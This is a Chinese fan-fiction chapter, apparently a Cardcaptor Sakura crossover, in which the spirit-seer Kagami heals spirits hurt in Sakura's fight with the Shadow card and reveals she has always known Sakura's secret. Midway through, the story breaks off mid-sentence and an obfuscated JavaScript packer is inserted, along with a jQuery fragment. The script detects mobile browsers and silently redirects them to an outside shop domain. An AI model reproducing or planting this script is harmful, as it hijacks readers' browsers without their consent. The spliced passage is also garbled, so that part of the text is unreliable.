事情发生在五月第二个星期三的傍晚。

    不是深夜,不是凌晨,不是任何适合魔法少女出没的非常时段。就是普通的放学后——镜在旧教学楼后面蹲了四十分钟,把一只被影牌从墙缝里震出来的小地缚灵送走。那只地缚灵胆子小得连银杏树下的老奶奶都怕,缩在墙缝最深处,镜花了比平时多一倍的时间才让它愿意探出头来。她把最后一点安抚的灵力渡过去,感觉到它在她指尖轻轻蹭了一下,然后消散在暮色里。她站起来,膝盖上印了两块灰,校服裙摆沾了一圈干草屑,正拎着书包往校门口走。胧跟在她脚边,尾巴尖上沾了一片银杏叶,大概是刚才路过树下时蹭到的。

    然后她听见一声巨响。

    不是雷鸣,不是爆炸,是金属被某种力量强行扭曲时发出的沉闷呻吟。镜转过头。校门口的铁栅栏被一团黑压压的东西整个掀了起来,路灯的光像被墨水吞掉一样灭了一瞬。操场上,木之本樱攥着魔杖,正被一大片流动的影子逼得往后退。那影子不是普通的黑暗——它有边缘,有重量,有实体般的流动感,像把整个黄昏的光都吸进去又吐出来,每一次翻卷都带着沉闷的低啸声。它从操场东南角一路蔓延过来,吞掉了跑道上的白线、单杠区的沙坑、银杏树下那片刚扫干净的落叶堆。

    小樱脚边散落着被掀翻的花坛碎片。她刚换上的室内鞋不知道什么时候又跑丢了一只,袜子踩在跑道上一脚深一脚浅,脚底灰了一片。她的校服裙摆被影风掀得翻起来一角,睡裤的裤腿从裙摆下面露出一截——她今天大概又是收完牌直接从家里冲出来的,连校服都没来得及换。那截睡裤是浅粉色的,印着小兔子图案,和操场上正在吞噬一切的黑色影子形成了某种让人不知道该紧张还是该笑的对比。

    大道寺知世站在楼道入口,举着摄像机,画面稳稳地追着小樱。她的背挺得很直,手指按在录制键上没有一丝抖动,呼吸平稳得像在拍一场事先排练好的舞台剧。她的表情很认真,不是害怕,是专注——那是只有在拍自己最想拍的东西时才会有的表情。

    “小樱——用风牌!”

    镜看着小樱把风牌激活。魔杖顶端迸出一圈淡绿色的光圈,气流从杖尖涌出来,在她身前旋转成一道螺旋形的风墙。那风不是自然的风——它有自己的方向,有自己的意识,在空气中划出十几道透明的轨迹,每一条都准确地撞向影子的边缘。影子被撕开一道裂口,但没有散。它翻卷过来,边缘像水一样漫开,把小樱整个人吞进去了一半。

    镜放下书包。

    不是要帮忙收牌。收牌不是她的事。她只是看见影牌扩散的瞬间,操场边缘那棵银杏树下的老妇人灵体被掀翻在地。老妇人整个魂体从树干背后被震出来,在空中翻滚了好几圈,然后重重摔在跑道边缘的草地上。她大概已经在这棵树下坐了十几年,从来没有离开过自己的位置超过一步,从来没有被任何力量这么粗暴地拽出来过。镜听见她的声音——不是呼救,不是哭泣,是条件反射般的困惑,像一个还没睡醒的人被突然拽进一间陌生的房间,连灯都没来得及打开,就被人推了一把。

    老树精的根部被影刃切断了一条细须。那根须根很小,大概只有手指粗细,但它连着树精最深的那条根系——是它用来感知地脉波动的主根之一。断口处渗出极淡的浅绿色光芒,不是血液,是树精储存了多年的灵力正在从创口里缓慢流失。树精在墙根下缩紧了所有的枝条,把剩余的根深深扎进土里,像一个人咬紧了牙关。

    天台上的男孩从栅栏边被震飞到楼梯口。他整个灵体像被一只看不见的手捏住后颈扔了出去,在空中划了一道极短的抛物线,然后撞在楼梯间那扇生了锈的铁门上。铁门发出一声刺耳的嘎吱声,把他弹回来落在楼梯口,他趴在地上蜷缩成小小一团,膝盖上的创可贴——那块镜在四年级春天替他扶正的创可贴——边缘已经被撕开了一半。

    镜走到操场边缘,蹲下来,把右手按在跑道上。

    她闭上眼。灵力从掌心涌出去,不是温和的、试探性的那种,是她在八原后山跟外婆学了六年练出来的精准输出。她把灵力按方向分成三股,像同时拉开三根看不见的弦。一股精准地裹住银杏树下刚刚被掀翻的老妇人,先把她翻过来的魂体轻轻托正——老妇人在空中转了半圈,恢复到正常的坐姿,然后被灵力推着慢慢移向树干背后,一直推到银杏树最粗的那根侧根旁边才停住。她离开之后树干上还残留着一道弧形的印痕,是镜四年级春天第一次帮她搭缘线时无意间留下的灵力缓冲层。老妇人的手指本能地攥住那道印痕,像抓住了床单的一角。

    第二股灵力沿着地脉往下走,找到老树精那根断须的创口,绕着创面织成一层极薄的灵力膜。这层膜不能立刻把断须接回去——树精的根需要它自己愈合,外力强行黏合只会让断口表面愈合而内部还在漏。镜做的只是暂时止血——不对,是止灵气外泄。那层灵力膜会在接下来几天里随着树精自有的愈合过程慢慢被吸收,一点也不会浪费。

    第三股灵力穿过操场跑道、穿过沙坑、穿过铁丝网下那道碎石坡,找到旧楼楼梯口那个被震飞的男孩。他在落地前零点几秒被镜的灵力轻轻托了一下——不是硬接,是缓冲,是让一个被用力丢出去的人落在柔软的棉花上而不是硬邦邦的地板上。男孩趴在楼梯口,手指慢慢蜷起来,膝盖上的创可贴没有完全脱开。他的头从臂弯里抬起来,茫然地看着楼梯间的天花板,不知道刚才是什么东西接住了他。

    做完这些,镜睁开眼。

    灵力消耗比她预计的多了一些,大概是影牌的魔力太浓,把操场周围所有灵异节点的抗性都拉高了。她的指尖微微发麻,掌心有点凉——那是灵力输出过快时身体的本能反应,需要几分钟自己缓过来。她把手从跑道上收回来,在裙摆上蹭掉掌心的灰,看到影牌已经被小樱重新收进卡牌形态。那张卡牌还微微发着烫,在小樱指间轻轻振动。小樱捏着它,抬起头,正好看见镜从操场边站起来,拍掉膝盖上的灰。

    两个人对视了三秒。

    小樱的表情从茫然转成惊讶,又从惊讶转成一种做坏事被当场抓住的心虚。她下意识地把魔杖往身后藏——动作和上次在走廊藏点心盒一模一样,完全忘记这把魔杖的长度比书包还长。而她另一只手正攥着睡裤的裤腰,那条睡裤是她昨天晚上收完雪牌回来太累直接倒在床上时穿的,今天被影牌追出门时忘了换。裤腿一只卷到膝盖上面,另一只拖在地上,沾满了操场上的灰。她整个人看起来像是被台风从被窝里刮出来的。

    “镜——你怎么在这里——你不是放学就回家了吗——你刚才是不是看到了什么——那个——那个我可以解释——”

    她的话被知世的声音轻轻打断。

    知世把摄像机的镜盖扣上,从楼道那边走过来。她的步伐不紧不慢,手里端着的摄像机还亮着录制灯。她在镜旁边站定,先看了看镜膝盖上那两块还没拍干净的灰,又看了看镜校服裙摆上沾的干草屑,然后用一种温和得像在说今天的便当里放了什么配菜的语气说道:“小樱,镜一直都看得见。”

    “……诶?”

    小樱愣住了。

    她的眼睛在镜和知世之间来回弹跳,嘴巴微微张开,大脑显然在处理一条很长的信息链:镜刚才在这里→镜看到影牌→镜没有害怕→知世说镜一直都看得见→镜甚至帮她捡了鞋。这条信息链太长了,长到她忘记了要继续把魔杖往身后藏。那根鸟头杖从她背后滑出来,杖尖抵着地面,在跑道上轻轻弹了一下。

    镜没有马上说话。她走过来,弯下腰,先把小樱掉在跑道上的那只室内鞋捡起来,搁在她脚边。又看了看她那条拖在地上的睡裤裤腿,顺手帮她把裤脚卷好,免得再绊一跤。然后直起腰,语气平淡得像在说今天食堂的菜单。

    “先穿鞋。”

    小樱低头看了看自己光着的脚,又抬头看了看镜,再低头看看脚,再抬头。她穿好鞋,站起来,嘴巴张开又合上,合上又张开,最后只憋出一句:“那你——你一开始就知道?”

    镜看着她。她的表情变化被镜完整看在眼里——不是被欺骗的愤怒,不是一个精心守护的秘密被窥破时的慌张,而是某种更单纯的东西。像一只以为自己在独自守夜的猫头鹰,忽然发现树上还有另一只。

    “四年级春天就发现了。”

    小樱的眼睛瞪得更大了。“四年级春天——那不是我才刚开始收集库洛牌没几天——”

    “嗯。你第一次收服风牌那晚,整个友枝町的灵脉都在震。你自己在追风牌的时候大概没注意到,那道气流把银杏树上的叶子吹掉了大半,树下的老奶奶差点从树根上被掀飞出去。我从那天晚上开始善后。”

    小樱张着嘴,脸上写满了“你竟然比我还早”的震惊。然后她想起一个问题,眉头微微皱起来——不是生气,是那种在努力回忆自己有没有在某些关键时刻穿帮的认真表情。她的手指还攥着魔杖的握柄位置,指节有点发白,声音比刚才轻了半拍:“可是——你怎么知道灵脉震动是因为库洛牌?你那时候又没见过我收牌。而且我从来不在你面前提牌的事——我非常小心——我从来没在教室里说过库洛——”

    “你说过。”

    小樱的表情凝固了。

    “不止一次。”镜的语气很平淡。她的手还插在口袋里,校服外套的袖子刚才蹲下时蹭了一点灰,她没去拍。她看着小樱的表情从凝固变成一种更复杂的颜色——介于“完了”和“原来我这么不会保密”之间,和她在后排每次听到李小狼把笔盒从桌角推到小樱够得着的位置时默默咽下“你是不是想帮她”时的表情如出一辙。那种表情是给自己的——不是给别人看的。她的嘴唇微微颤了一下,似乎想反驳,又咽了回去。

    “上周二你在教室问知世‘昨天收风牌的时候我一紧张念错咒语,有没有什么办法能提前背一遍’。你说这句话时教室里只有你和知世两个人,但我的座位在三排后面靠窗的位置,当时窗户关着,你的声音被窗玻璃反射过来,我听得很清楚。前天你在走廊跟小可争辩‘才不是每张牌都那么难收’。你说这句话时刚好从我身边跑过去——你在追一张藏在树冠里的库洛牌,小可在你包里喊‘她说得明明没错’。你还说‘它把我引到这里’、‘它好难收’、‘它跑得好快’。你讲故事的时候会在提到库洛牌时下意识停顿半拍,然后用‘它’代替——普通小学生说话不是这样的。另外你每次收完牌的第二天精神都特别差,上课打瞌睡的次数比你同桌多好几倍。”

    小樱的表情又从“完了”变成了“原来我这么不会保密”和“原来镜已经帮我瞒了这么久”的混合体。她的耳朵尖有点红——不是被人拆穿秘密的羞耻,是一个还不到十岁的孩子第一次意识到,自己以为藏得滴水不漏的那些话,其实早就被另一个人安安静静地听进了心里。她的手指从魔杖握柄上松开了,指尖在跑道上轻轻抠了一下——那里有一小块被影牌烧焦的跑道橡胶,可能是刚才战斗中她踩过的某个地方。

    镜看着她那张快要皱成一团的脸,把手从口袋里拿出来,轻轻拍了拍她的头顶。她比小樱高半个头,拍她头顶时袖口刚好擦过小樱额前那几根被汗水粘住的碎发。

    “不是你的问题。你才不到十岁。这个年纪的小孩子本来就不会对这种事加任何掩饰。而且——”她顿了顿,把手收回来,重新插回校服口袋,“你以为能保密,只是因为身边的人愿意假装没听见。”

    小樱愣了一下,然后目光不由自主地转向知世。知世每次在她聊库洛牌的时候都微笑着听,从不打断。她以前以为知世只当是听故事,现在才发觉知世分明什么都明白。知世站在旁边,怀里抱着刚关掉的摄像机,对上小樱的目光也没有多说什么,只是微笑着朝她轻轻点了点头。

    小樱沉默了好一会儿,似乎在努力回想自己到底在教室里说过多少次露馅的话。她的手指攥着那只刚穿好的室内鞋在地上蹭了蹭,然后把头抬起来。眼睛里的心虚还没褪干净,嘴角却已经忍不住弯起来——不是那种阳光充满电的笑容,是某种不确定的、想确认自己是不是真的被接纳了的试探

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536080|203812||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “那你听到那些话的时候——是不是觉得我特别傻?”

    “没有。”镜把手从她头顶收回来,重新插回校服口袋里。她看着小樱脸上那种既紧张又期待的表情,忽然觉得这个人真的很有意思——明明刚才还在跟一张能把影子吞噬掉大半条跑道的库洛牌打得鞋都跑飞了,现在却在担心自己在教室里说漏嘴的话好不好笑。睡裤的裤腿卷得一高一低,头发上还沾着刚才被影牌扫过时带起来的银杏叶片碎片,额角有一块细小的擦伤,大概是刚才被花坛碎片溅到的。整个人看起来狼狈极了,像一只被暴风雨打湿了毛的幼鸟,但它没有躲进树洞里,而是站在树下张开翅膀把其他的鸟推进巢里。

    “像你这样充满热情、充满能量、每天都像一颗充电过头的星星一样的家伙,”镜说,“又承担着拯救世界的重任——在我看起来,真的是太可爱了。”

    小樱的脸一下子红了。不是被人戳穿秘密时那种尴尬的红,是被夸了之后不知道该怎么接话、但又舍不得反驳的那种红。她张了张嘴,想说点什么,最后只是嘿嘿笑了一声,低头把那只刚穿好的室内鞋在地上蹭了蹭。然后她忽然抬起头,想起什么似的——“那你怎么不早说——”

    “你没问。”

    “这种事谁会主动问啊!谁会问‘你能不能看到我在半夜收服妖魔’——正常人都不会问吧!”

    “所以我不会说。”

    小樱被这句话噎住了。她的嘴鼓起来,眉毛皱成一团。镜以为她要继续辩论——结果她向前走了两步,把她整个人都紧紧抱住。不是那种象征性的、只搂一下肩膀就松开的拥抱,是整个人贴上来,把脸埋进她肩窝里,手指攥着她校服后襟的那种。镜能感觉到小樱的体温比她高一点,大概是刚才收牌时消耗了太多魔力。小樱的肩膀把她的衣领都蹭乱了,那条还没系好的睡裤裤腿又往下滑了一截。

    “那你也太能憋了,”小樱的声音闷闷的,从镜的肩窝里传出来,“你一个人做善后做了那么久……累不累啊。”

    镜的手停在半空中,悬了好几秒,不知道该放哪。她低头看着小樱的发旋——头发上还粘着半片银杏叶,是刚才被影牌掀翻时从树梢上刮下来的。那片叶子很小,边缘被影风切得不太规则,但颜色很绿,是刚长出来没多久的新叶。

    她慢慢把手放下来,回落在小樱背上。不是拍小孩那种哄睡式的节奏,只是轻轻搭在那里,手指在她睡裤后襟那排晒过的痕迹上轻抚。她感觉到小樱的呼吸从急促慢慢变得平稳,肩膀也不再那么绷着了。小樱的眼眶没有红——没有哭,只是把脸埋在那儿。她把下巴搁在镜肩窝上闷了很长一段时间,然后轻轻点了点头。

    胧从银杏树后悠然踱出来。它的步伐不紧不慢,尾巴高高翘起,尾尖弯成一个慵懒的弧度,在夕阳底下像一根会走路的毛笔。它走到操场边缘那盆八原矮松旁边停下来,低头看了看盆栽边缘被影刀切出的一道极细的裂痕,用尾巴轻轻拂过叶片上的灰尘,然后抬起头,对着镜的方向投去一个意味深长的眼神,表示“不想被看见,我也被你看见了呗”地甩了甩尾巴。

    小樱从镜的肩窝里抬起头,正好对上胧那双金色的瞳孔。她的眼睛一下子亮了起来——不是刚才那种试探性的、不确定的亮,是被某件完全在预料之外的东西击中时的亮,整个天台上只剩下她和这只猫在对视。

    “会说话。”镜及时拦住她,在她开口之前堵住了所有可能的问题。“就问一句。你刚才吃的零食是章鱼烧口味。”

    小樱张着嘴,大脑运转速度肉眼可见地超了载。她看看胧,又看看镜,再看看胧——那只猫正在用尾巴缠自己的右前爪,嘴里哼着一首和钢琴少女巴赫完全不同调的曲子。然后她点点头,显然已经放弃了把所有事情一次性弄明白的打算。她把最后一截卷起的裤腿放下,挪到胧面前蹲下来,小心翼翼地伸出手让它嗅。

    镜从那堆花坛碎片旁边站起来,把脚边剩余的灵痕用脚尖抹平。知世走过来,站在她旁边,两个人一起看着小樱蹲在胧面前。胧低头闻了闻小樱的手指——那上面还残留着影牌的魔力味道,混着操场上的土和一点点汗味。它用鼻尖碰了碰她的指节,表示“行了我认得你”,然后把下巴搁在小樱掌心里,尾巴绕过来盖住前爪。

    “你上周烤的饼干全分给她们几个小灵了吧。”知世说。

    “嗯。”

    “它们有说什么吗。”

    “弹钢琴那只问焦不焦。我说不焦,她就放心走了。”

    知世微微一笑,没有追问。西边的天空正在从橘红色往深紫色过渡,银杏树的影子拉得很长,一直拖到操场尽头。她把摄像机的录制灯灭掉,先将镜头对准银杏树下——小樱正半蹲在胧面前,胧用尾巴缠住她袖口不肯放她走——然后悄悄移回来,把镜也框进同一个镜头里。

    镜站在花坛碎片旁边,正低头拍校服裙摆上沾着的干草屑。她的头发还扎成低马尾,额前碎发被刚才那阵影风带得轻轻飘起来。她没有在笑,但神情平和,腰上系结界绳的地方被夕阳照成一片椭圆的淡金色光斑。知世从摄像机后面探出头来按下快门。

    那天之后,镜不再需要假装放学后直接回家。小樱收牌时,镜会在旁边做自己的事——不是帮忙收牌,收牌是小樱的战场。她只是在操场边缘蹲下来,把被魔力震歪的缘线扶正,把被吓到的地缚灵轻声安抚,把结界破口补好。偶尔魔杖星屑飘到她头上,她会用手背拂下来,顺手塞进笔记本里当标本。小樱说收齐那天要把那些星屑排成队还给牌,被镜说“你先把这一批收完再说”。

    小樱后来问了镜好几次,她到底能不能穿巫女服来学校做善后——反正她外婆是神女,镜自己也有灵力,穿巫女服做这些事多方便,知世也可以给巫女服设计改良款式。镜说她穿日常校服做这些事就够了,她们的课程表也的确没留空隙给她换全套巫女服再拎着裙裾爬银杏树。不过她没有完全拒绝——她把外婆初一寄来的那套绯袴叠好收进衣柜最里层,桔梗大人说这套巫女服很适合她。